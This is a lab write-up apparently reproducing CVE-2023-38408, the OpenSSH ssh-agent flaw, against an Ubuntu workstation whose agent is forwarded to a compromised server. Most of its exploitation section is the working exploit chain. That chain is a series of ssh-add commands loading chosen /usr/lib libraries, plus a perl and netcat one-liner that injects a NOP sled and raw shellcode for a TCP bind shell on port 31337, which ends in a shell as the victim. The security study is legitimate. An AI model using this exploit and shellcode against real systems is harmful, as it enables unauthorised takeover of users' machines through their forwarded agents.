CVE-2023–38408 (OpenSSH Vulnerability to RCE)

“Surprise! System Hack!”
Goto Lab

Recently, “The Hacker News” has published a post related to OpenSSH vulnerability that exposes Linux systems to RCE. The vulnerability impacts all the versions of OpenSSH before 9.3p2. So it is strongly advised that users of OpenSSH to update the most recent version in order to safeguard against potential cyber threats.

NIST assigned the CVE identifier CVE-2023–38408 on July 19th in response to a critical vulnerability. This security flaw, which allows remote code execution if an agent is forwarded to an attacker-controlled system due to an insufficiently trustworthy search path, has been found by The Qualys Threat Research Unit (TRU). It’s essential to note that loading code from /usr/lib into ssh-agent can pose significant risks. This vulnerability represents an incomplete fix for a previous CVE-2016–10009.

SSH-agent is a program to hold private keys used for public key authentication. Connections to ssh-agent may be forwarded from further remote hosts using -A option

ssh -A user@gateway

Despite this warning, ssh-agent forwarding is still widely used today. Typically, a system administrator (Alice) runs ssh-agent on her local workstation, connects to a remote server with ssh, and enables ssh-agent forwarding with the -A or ForwardAgent option, thus making her ssh-agent reachable from the remote server. Here, we gonna experiment the real scenario of OpenSSH vulnerability that is being exploited when the server is compromised by an attacker, that lead to RCE of another user.

Summary:

While browsing through ssh-agent's source code, it is noticed that a remote
attacker, who has access to the remote server where user's ssh-agent is
forwarded to, can load (dlopen()) and immediately unload (dlclose()) any
shared library in /usr/lib* on user's workstation (via his/her forwarded
ssh-agent, if it is compiled with ENABLE_PKCS11, which is the default).

Surprisingly, by chaining four common side effects of shared libraries
from official distribution packages,it is possible to transform this very
limited primitive (the dlopen() and dlclose() of shared libraries from
/usr/lib*) into a reliable, one-shot remote code execution in ssh-agent
(despite ASLR, PIE, and NX)

Background Information:

In 2010, the ability to load and unload shared libraries in ssh-agent was developed to support the addition and deletion of PKCS#11 keys. In response to CVE-2016–10009 published by Jahn Horn , an allow-list (/usr/lib, /usr/local/lib/ by default) was added to limit library loading. However, it is possible to abuse the side effects of the library’s constructors (dlopen) and destructors (dlclose) to manipulate memory and control the program flow. “dlopen() and dlclose() is a function used to dynamically load and unload shared libraries (also called DLL) into a running program.”

/* Sample program to Open a dynamic library and then close it ... */

#include <dlfcn.h>

void *mylib;
int eret;

mylib = dlopen("mylib.so", RTLD_LOCAL | RTLD_LAZY);
...
eret = dlclose(mylib);
...

Code execution can be achieved by making the stack executable, registering a signal handler for SIGSEGV and manipulating its code, replacing the signal handler’s code with code from another library, triggering a SIGSEGV, and replacing it’s handler’s code to finally jump into the stack where the shell-code is stored.

Environment Setup:

Currently a user “redqueenrebel” is accessing the workstation. We will exploit the OpenSSH vulnerability and access the user “Alice” as her ssh-agent is forwarded.

image1
fig: Users on the workstation

Analyzing the further details of the workstation, it seems the vulnerable version of SSH is running within the Ubuntu machine.

image1
fig: Workstation with OpenSSH version 8.9p1
image1
fig: Attacker Machine/Compromised Server

Our main objective is to escalate privileges and compromise the “Alice” account. If an attacker had access to the server where Alice’s ssh-agent is forwarded to, and had an unprivileged access to Alice’s workstation, then this attacker could store a malicious shared library in /tmp on Alice’s workstation and execute it with Alice’s privileges (via her forwarded ssh-agent) — a mild form of Local Privilege Escalation;

  • We initialize a connection to server using Alice public key. So add Alice’s public key to the authorized_keys file
echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCs4FT0kCeBfQ1co/PeApZn3NmZ68mUwEEbtP598IcBBDgpe+AauGtOVNxsptmZD26yjhTXp4RJgrreUgPJQ8ICDUvASD/2W8GOl5XpYddbrcHy+djyViQV/69VskB2Y9LCobbkYPBUjIKlObqgamM7HhcNO3Zu65AAtbu+31+N+swygYjTRB37cjQOLgI7FM9nmuhyb8uSMtttTJRD7ybXPfiHV8YxLENuJU0BGggc9i/hXKQKwhEvnliiqw/XdpK/JyT6t65DFvYYkT21bPHpBDMNzPauUgr2yagKMFNe8HFQfk/QibTcLMeV0JmCGeOcv8oJP/T4xJnnoetMvZGEPZ4hXH7E3n2wksLjuF2se61/c+SIh6Zm+gUYQESTAmmbRPeTj7RcZPRN22knpSyu76eZKBf/dmHYXQlIk1gKsouFdposOpxYRJ4Wt97uEPihW/wzzT+QPcLyYoGpbFXJmpqNaOBVJw1n0KqB98dL5Ixa32FKTCzaBPHkDmK/I2M= alice@workstation" >> /root/.ssh/authorized_keys
  • Create the IP file named /tmp/ip_address.txt on your vulnerable machine. The text file contains the IP of remote server.
image1
fig: Connecting to Attacker’s IP


  • Now the the attacker machine (the compromised server) received connection from the vulnerable machine. It means the user machine is accessing the server performing the ssh-agent forwarding.
image1
fig: Before Connection
image1
fig: After Connection

Above diagram (fig: After Connection) demonstrates Alice’s ssh-agent forwarded to the server which will be compromised by an attacker.

Exploitation:

Here, we will be working with two machines: the workstation (a vulnerable instance of Ubuntu 22.04) and another server which is under the attacker’s control. To simulate the the vulnerable instance, a connection between the workstation and the server has been employed in our Environment Setup. It means a user “Alice” is connected from the workstation to the attacker using SSH agent forwarding.

Several libraries will be executed from the attacker’s control box but their impact will be directed at the target workstation.

In order to execute the shellcode within the vulnerable process; ssh-pkcs11-helper (separate dedicated process where shared library of ssh-agent is stored), it is crucial that the stack of that process is flagged as executable.

export SSH_AUTH_SOCK=/tmp/ssh-aUYSckXykW/agent.3039
ssh-add -s /usr/lib/systemd/boot/efi/linuxx64.elf.stub
image1

To copy the shellcode into the process using SSH socket, we need to follow these steps:

  • Obtain the PID of the SSH agent running on the remote attacker machine
  • Once you have the socket, use the netcat (nc) to transfer the shellcode to the agent’s memory (workstation)
  • After starting the transfer, wait for a few seconds to ensure the shellcode is fully copied into the target memory.
  • Finally press Ctrl+C to stop the netcat transfer once the shellcode is successfully placed in the agent’s memory.

A shellcode is remotely stored in stack buffer “buf” of the ssh-pkcs11-helper’s main() function. Furthermore, a vulnerability related to SSH agent forwarding by injecting shellcode into the SSH agent forwarding mechanism is potentially exploit.

SHELLCODE=$'\x48\x31\xc0\x48\x31\xff\x48\x31\xf6\x48\x31\xd2\x4d\x31\xc0\x6a\x02\x5f\x6a\x01\x5e\x6a\x06\x5a\x6a\x29\x58\x0f\x05\x49\x89\xc0\x4d\x31\xd2\x41\x52\x41\x52\xc6\x04\x24\x02\x66\xc7\x44\x24\x02\x7a\x69\x48\x89\xe6\x41\x50\x5f\x6a\x10\x5a\x6a\x31\x58\x0f\x05\x41\x50\x5f\x6a\x01\x5e\x6a\x32\x58\x0f\x05\x48\x89\xe6\x48\x31\xc9\xb1\x10\x51\x48\x89\xe2\x41\x50\x5f\x6a\x2b\x58\x0f\x05\x59\x4d\x31\xc9\x49\x89\xc1\x4c\x89\xcf\x48\x31\xf6\x6a\x03\x5e\x48\xff\xce\x6a\x21\x58\x0f\x05\x75\xf6\x48\x31\xff\x57\x57\x5e\x5a\x48\xbf\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x48\xc1\xef\x08\x57\x54\x5f\x6a\x3b\x58\x0f\x05'
(perl -e 'print "\0\0\x27\xbf\x14\0\0\0\x10/usr/lib/modules\0\0\x27\xa6" . "\x90" x 10000'; echo -n "$SHELLCODE") | nc -U "$SSH_AUTH_SOCK"
  • We donot use ssh-add here, because we want to send ~10KB passphrase (our shellcode) to ssh-agent but the ssh-add limits the length of our passphrase to 1KB;
  • SHELLCODE is a “TCP bind shell” on port 31337
  • /usr/lib/modules is an existing directory whose path matches ssh-agent’s /usr/lib* allow-list.

The next step of the exploitation process is register the signal handler for the SIGSEGV(Signal Segmentation Violation) signal and immediately munmap() (memory unmapping) its code

ssh-add -s /usr/lib/titan/libttcn3-rt2-dynamic.so
image14
fig: Remotely register SIGSEGV handler

We remotely replace unmapped SIGSEGV handler’s code with another piece of code (a useful gadget) from another shared library.

ssh-add -s /usr/lib/x86_64-linux-gnu/libKF5SonnetUi.so.5.92.0
image15
fig: Replacing original signal handler

Finally, by intentionally causing a segmentation fault, the SIGSEGV event can be triggered, executing the shellcode.

ssh-add -s /usr/lib/x86_64-linux-gnu/libns3.35-wave.so.0.0.0
image16
fig: Raise SIGSEGV in ssh-pkcs11-helper

With the exploitation successfully executed, an attacker may gain access to a bind shell (shellcode), which can be accessed using netcat.

image1
fig: Connection on port 31337 succeeded!

This is it!! We are accessing the services as an “Alice”.

Conclusion:

Our analysis taught us the necessity of carefully filtering shared libraries and avoiding dangerous side effects, especially when dealing with privileged programs like ssh-agent. The exploit’s complexity highlights the significance of safe coding approaches, comprehensive testing, and continuous monitoring to detect and neutralize any dangers.

This exploit also highlights the complexity of modern cyber security concerns, as exploit makers are continuously looking for new ways to breach defenses.